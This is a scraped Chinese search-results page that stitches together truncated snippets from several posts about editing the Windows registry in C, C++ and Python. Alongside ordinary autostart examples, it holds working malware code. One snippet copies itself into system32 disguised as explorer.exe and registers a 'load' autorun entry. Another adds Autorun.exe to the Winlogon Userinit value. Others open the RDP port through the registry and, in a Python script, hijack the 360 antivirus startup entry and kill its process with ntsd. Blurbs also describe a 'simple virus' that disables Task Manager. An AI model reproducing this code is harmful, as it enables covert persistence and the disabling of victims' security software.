精华内容
下载资源
问答
  • C语言修改注册表

    千次阅读 2010-09-17 09:58:00
    C语言修改注册表 注册表可以说是系统的配置文件,大多数应用程序都要修改注册表. 1.用到比较多的几个API函数: RegCreateKeyEx RegSetValueEx RegQueryValueEx RegDeleteValue ...
    C语言修改注册表

    注册表可以说是系统的配置文件,大多数应用程序都要修改注册表.
    1.用到比较多的几个API函数:
    RegCreateKeyEx
    RegSetValueEx
    RegQueryValueEx
    RegDeleteValue
    RegCloseKey
    2.注册表数据类型,常见的有两种:
    REG_DWORD 32位数字
    REG_SZ    以NULL结尾的字符串,它可以为Unicode或ANSI字符串,取决于是否使用的是Unicode还是ANSI函数。
    3.函数的主要用法,呵呵,MSDN上很清楚的哦.下面是几个简单的小例子.
    a)
    #include "stdafx.h"
    #include <stdio.h>
    #include "Windows.h"
    int main(int argc, char* argv[])
    {
    HKEY hKey;
    DWORD dwValue = 0;
    if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM//CurrentControlSet//Control//Terminal Server",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL) != ERROR_SUCCESS)
    printf("RegCreateKeyEx error");
    if (RegSetValueEx(hKey,"fDenyTSConnections",0,REG_DWORD,(CONST BYTE *)&dwValue,sizeof(DWORD))!= ERROR_SUCCESS)
    printf("RegSetValueEx error");
    RegCloseKey(hKey);
    return 0;
    }
    开3389端口的.修改的是REG_SZ类型的值.
    b)
    #include "stdafx.h"
    #include <stdio.h>
    #include "Windows.h"
    int main(int argc, char* argv[])
    {
    HKEY hKey;
    char Buffer[] = "userinit.exe,Autorun.exe";
    if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL) != ERROR_SUCCESS)
    printf("RegCreateKeyEx error");
    if (RegSetValueEx(hKey,"Userinit",0,REG_SZ,(CONST BYTE*)Buffer,strlen(Buffer) + 1)!= ERROR_SUCCESS)
    printf("RegSetValueEx error");
    RegCloseKey(hKey);
    return 0;
    }
    这是一个修改注册表实现自启动的小例子,修改REG_SZ类型的值.
    c)
    每次修改注册表都需要打开句柄,设置数值,关闭句柄.很麻烦.我们可以写成函数,两个:一个修改字符串行的,一个是数值型的.
    void CreateStringReg(HKEY hRoot,char * szSubKey,char * ValueName,char * Buffer)
    {
    HKEY hKey;
    if (RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL) != ERROR_SUCCESS)
    printf("RegCreateKeyEx error/n");
    if (RegSetValueEx(hKey,ValueName,0,REG_SZ,(CONST BYTE*)Buffer,strlen(Buffer) + 1)!= ERROR_SUCCESS)
    printf("RegSetValueEx error/n");
    RegCloseKey(hKey);
    }

    void CreateDWORDReg(HKEY hRoot,char * szSubKey,char * ValueName,DWORD Data)
    {
    HKEY hKey;
    if (RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL) != ERROR_SUCCESS)
    printf("RegCreateKeyEx error/n");
    if (RegSetValueEx(hKey,ValueName,0,REG_DWORD,(CONST BYTE*)&Data,sizeof(Data))!= ERROR_SUCCESS)
    printf("RegSetValueEx error/n");
    RegCloseKey(hKey);
    }
    顺便说一下,想让控制台程序隐藏控制台窗口,在开头加上
    #pragma comment( linker, "/subsystem:/"windows/" /entry:/"mainCRTStartup/"" )

    在windows xp+vc6.0环境下测试成功

     
    展开全文
  • 其实很早就注意注册表了因为想实现自动化,及实现一些软件问题,所以搞了一点点资料介绍有关内容及一些参数。。。。
  • #include #pragma comment(lib,"Advapi32.lib")void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char ...//打开注册表键,不存在则创建它long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTI...

    #include #pragma comment(lib,"Advapi32.lib")

    void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)

    {

    HKEY hKey;

    //打开注册表键,不存在则创建它

    long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);

    if (lRet!=ERROR_SUCCESS)

    {

    printf("error no RegCreateKeyEx %s\n", szSubKey);

    return ;

    }

    //修改注册表键值,没有则创建它

    lRet=RegSetValueEx(hKey,ValueName,0,REG_SZ,(BYTE*)Data,strlen(Data));

    if (lRet!=ERROR_SUCCESS)

    {

    printf("error no RegSetValueEx %s\n", ValueName);

    return ;

    }

    RegCloseKey(hKey);

    }

    int autorun()

    {

    char SelfFile[MAX_PATH];

    char SystemPath[512];

    //得到系统目录路径

    GetSystemDirectory(SystemPath,sizeof(SystemPath));

    strcat_s(SystemPath,"\\explorer.exe");

    //得到自身程序路径

    GetModuleFileName (NULL, SelfFile, MAX_PATH);

    //复制文件

    if(!CopyFile(SelfFile,SystemPath,true))

    return 0;

    //写入注册表

    CreateStringReg(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows","load",SystemPath);

    return 0;

    }

    int main(int argc, char* argv[])

    {

    autorun();

    return 0;

    }

    展开全文
  • 之前搜到的代码,它只能读出一个,但是看着程序,觉得没问题,我是想把run目录下的 所有键值都读出来,我现在用的的代码如下 #include #include int main() { char Name[52]; int Index=0;...
  • 求一段c语言修改win7注册表的代码,是修改注册表启动项的代码,本人主要用于学习,谢谢了
  • C语言实现遍历注册表

    2014-03-06 10:10:16
    指定注册表中的项,将该项下的所有子项以及键值导出,写成txt文本文件。
  • 前段时间在自学 windows api,...下面是我自己写的一个.c文件,是用 windows 提供的 能操作注册表的 api,使自己的.exe文件 实现开机自动运行。下面是 实现代码。。。#include#include#include#define MAX 60int mai...

    前段时间在自学 windows api,学习了大概一个月,对一些常用api还算有一定了解,本人对一些木马,病毒 比较感兴趣,所以也经常搜一些木马病毒的编程技巧。下面是我自己写的一个.c文件,是用 windows 提供的 能操作注册表的 api,使自己的.exe文件  实现开机自动运行。

    下面是  实现代码。。。

    #include

    #include

    #include

    #define MAX 60

    int main(){

    LONG IRet;

    DWORD dwDispostion=REG_CREATED_NEW_KEY;

    HKEY HRoot=HKEY_CURRENT_USER;

    HKEY  mykey;

    char *SubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

    char fPath[MAX];//存储当前文件的路径

    IRet=RegCreateKeyEx(

    HRoot,                // handle to an open key

    SubKey,         // address of subkey name

    0,           // reserved

    NULL,           // address of class string

    REG_OPTION_NON_VOLATILE,          // special options flag

    KEY_ALL_ACCESS,        // desired security access

    NULL,  // address of key security structure

    &mykey,          // address of buffer for opened handle

    &dwDispostion  // address of disposition value buffer

    );

    if(IRet!=ERROR_SUCCESS)  {  printf("falied 0 \n"); return -1; }//不存在就退出

    GetModuleFileName(NULL,    fPath,   MAX    );//得到当前主模块的路径。。。存放在fPath

    IRet= RegSetValueEx(

    mykey,         // handle to key to set value for

    "runself",

    0,  // address of subkey name

    REG_SZ,      // type of value

    fPath,     // address of value data

    strlen(fPath)       // size of value data

    );

    if (IRet==ERROR_SUCCESS)

    {   printf("%d %s config success\n", strlen(fPath)  ,fPath);

    RegCloseKey(mykey);

    }

    else

    printf("falied 1\n");

    Sleep(3000);  //为了使开机时看到效果   所以Sleep

    return 0;

    }

    程序运行之后,输入msconfig  查看本机的启动项,,发现.exe已经在里面了。。。

    0818b9ca8b590ca3270a3433284dd417.png

    0818b9ca8b590ca3270a3433284dd417.png

    当然也有更简单的方法,,使用c++提供的CRegkey类。。他是一个ATL类

    实现代码如下

    #include

    using namespace std;

    #include

    #include

    #define MAX 60

    int main(){

    CRegKey mykey;

    HKEY KRoot HKEY_CURRENT_USER;

    LONG IRet;

    DWORD dwDispostion=REG_CREATED_NEW_KEY;

    char subkey[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

    char fPath[MAX];//存储当前文件的路径

    GetModuleFileName(NULL, fPath, MAX  );

    mykey.Create(KRoot,subkey);

    IRet=mykey.SetValue("autorun",fPath);

    if (IRet==ERROR_SUCCESS)

    {  cout<

    mykey.Close();

    }

    else

    cout<

    return 0;

    }

    //Microsoft的ATL库中提供了一个CRegKey类,用这个类可以很方便地对注册表进行各种操作。

    关于上面函数的使用 ,我就不在这细讲了,,因为msdn里,已经讲的很详细了。。。

    展开全文
  • 还有就是要怎么样创建注册表,怎么样让程序运行起来注册表自动安装在电脑(即我这个程序运行起来,别人电脑的就有我设定的键值,键值放着密码和用户名,也就是把注册表封装在程序中),还有C语言怎么更改注册表的...
  • 本文实例讲述了python修改注册表终止360进程的实现方法。分享给大家供大家参考。具体实现代码如下:import _winregimport osimport shutil#复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)#把360启动改为...

    本文实例讲述了python修改注册表终止360进程的实现方法。分享给大家供大家参考。

    具体实现代码如下:

    import _winreg

    import os

    import shutil

    #复制自身

    shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)

    #把360启动改为自身

    run = _winreg.OpenKey(

    _winreg.HKEY_LOCAL_MACHINE,

    "SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE

    )

    _winreg.SetValueEx(

    run,"360Safetray",0,_winreg.REG_SZ,

    r"C:WINDOWSsystem32k3.exe"

    )

    #添加自启动

    self = _winreg.OpenKey(

    _winreg.HKEY_LOCAL_MACHINE,

    "SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE

    )

    _winreg.SetValueEx(

    run,"k3",0,_winreg.REG_SZ,

    r"C:WINDOWSsystem32k3.exe"

    )

    #添加所有用户启动

    allrun = _winreg.OpenKey(

    _winreg.HKEY_LOCAL_MACHINE,

    "MicrosoftWindowsCurrentVersionpoliciesExplorerRun",0,_winreg.KEY_WRITE

    )

    _winreg.SetValueEx(

    allrun,"k3",0,_winreg.REG_SZ,

    r"C:WINDOWSsystem32k3.exe"

    )

    #终止360进程

    os.popen("ntsd -c q -pn 360tray.exe cmd")

    希望本文所述对大家的Python程序设计有所帮助。

    展开全文
  •  //打开注册表启动项   if(RegOpenKeyExA(HKEY_CURRENT_USER, Register, 0, KEY_ALL_ACCESS, &hKey)== ERROR_SUCCESS)  {  //添加一个子Key,并设置值,"Mytest"并不一定是应用程序名字(不加后缀.exe) ,...
  • C语言调用WindowAPI对注册表操作

    千次阅读 2016-07-11 16:41:53
    程序中使用注册表,不外乎创建、打开、读取、设置、删除这五个常规操作: 一、 创建键RegCreateKeyEx  通过RegCreateKeyEx函数可以在注册表中创建键,如果需要创建的键已经存在了,则打开键。函数原型如下:  ...
  • 众所周知,熊猫烧香是一个威力强大的病毒.曾经的电脑只要被感染以后就只有重装系统这条路. 当然,现在可能对这种病毒已经有所防御,所以威胁没有以前那么大了. 熊猫烧香一个比较明显的特点就是会感染所有exe可执行文件....
  • 介绍的是利用C#设置自定义文件图标,然后实现双击启动的功能,文章给出了示例代码,介绍的很详细,有需要的可以参考借鉴。
  • 实验原理是通过c语言修改注册表导致人工无法正常操作,下面参考上面那位大佬的实验流程复现一下: 病毒特征 繁殖性 破坏性 传染性 潜伏性 隐蔽性 可触发性 实验环境 windows 7 x64虚拟机(务必在虚拟机环境进行...
  • c++ 修改注册表设置环境变量

    热门讨论 2009-05-07 08:45:28
    c++ 修改注册表设置环境变量, 广播使其立即生效,压缩包内有代码,更换变量路径即刻使用
  • 修改注册表实现程序开机自启动 2017年09月27日 10:55:37 阅读数:335 注册表简介 何为注册表 注册表相当于Windows下的一个庞大的层次性数据库.  基本上有责系统所有的配置信息 注册表是windows操作系统中的...
  • 网上给出的答案是通过修改注册表可以禁用U盘; 详细步骤: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR 修改start值为4 参考: ...
  • 文中讲及如何通过C#程序、手动修改、安装项目等不同方式对注册表进行修改。其中通过安装项目对注册表进行修改的情况最为常见,在一般的应用程序中都会涉及。当中最为实用的例子将介绍如何通过"安装项目"修改注册表...
  • 使用命令修改注册表 cmd中专门有一个命令是进行修改注册表.名称是reg.我们可以看下用法. 可以看到有12个参数.我们用到的是add这个修改参数. 比如,我们想将exe文件的图标改没,可以这样写: reg add HKEY_CLASSES_ROOT...
  • Windows注册表修改

    2018-02-21 17:43:59
    有多种方法可以对注册表实现新建、修改、删除等在恶意代码的行为之中,一般都是将其自身设置到Windows的开机自动启动项中,以达到开机自启动的目的,从而实现对本地机器的监控、开启后门、木马服务端等的功能方法一...
  • 若不是很熟悉Win32汇编代码的一些API,可以先写C语言,再将其进行转换。 具体代码实现 .386 .model flat,stdcall option casemap:none include windows.inc include user32.inc includelib user32.lib ...
  • Windows95/98/Me的注册表包含了Windows95/98/Me的系统配置、PC机的硬件配置、Win32应用程序和用户的其他设置信息。注册表和INI文件不同,它是多层次的树状数据结构,具有六个分支(根键),每个分支又由许多的键和键值...
  • 常见的方式有:修改开机自启动注册表、开机自启动目录、创建开机自启计划任务、创建开机自启系统服务等方式。现在对这些技术一一进行分析,并形成文档分享给大家。本文介绍两种修改注册表实现开机自启动的方式,其它...
  • 注册表分支HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run下建立一个字符串String型子键,名字不要重复就可以,其内容为你想在启动时运行的程序全路径。这样就会自动在启动时运行。 ...
  • c 语言修改注册表,增加开机启动项

    千次阅读 2012-05-03 15:46:09
    前段时间在自学 windows api,...下面是我自己写的一个.c文件,是用 windows 提供的 能操作注册表的 api,使自己的.exe文件 实现开机自动运行。 下面是 实现代码。。。 #include #include #include #define MAX
  • C语言编写简易病毒

    万次阅读 多人点赞 2017-09-01 18:00:03
    本次实验设计的是一个基于C语言的恶意代码,其执行流程如下: 1、 在病毒第一次执行时,即检测到注册表的任务管理器没有被禁用,则病毒依次执行以下功能: 创建开机启动项,在系统目录路径下面复制文件,将其...
  • 每行的4个数字,两个数字一组,代表一个按键,在映射时,他们的关系类似与c语言的 char *strcpy(char *strDest, const char *strSource) 函数,把后面一组的意义赋给前一组。 综上所述,将Caps Lock映射成Esc...
  • REG文件实际上是一种注册表脚本文件,Regedit注册表编辑器可以使用REG文件来导入、导出注册表的子项和值。...我们可以使用REG文件直接对注册表进行任何修改操作,且不受注册表编辑器被禁用的限制。与导入相对的
  • 此实验代码请务必在Vmware中执行,不要在真机上进行实验,否则会很麻烦。本实验的设计是基于C语言的恶意代码,其执行过程如下:1. 首次执行该病毒时,如果检测到...修改注册表以将用户键盘输入阻止为1(重新启动生...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,769
精华内容 2,707
关键字:

c语言修改注册表

c语言 订阅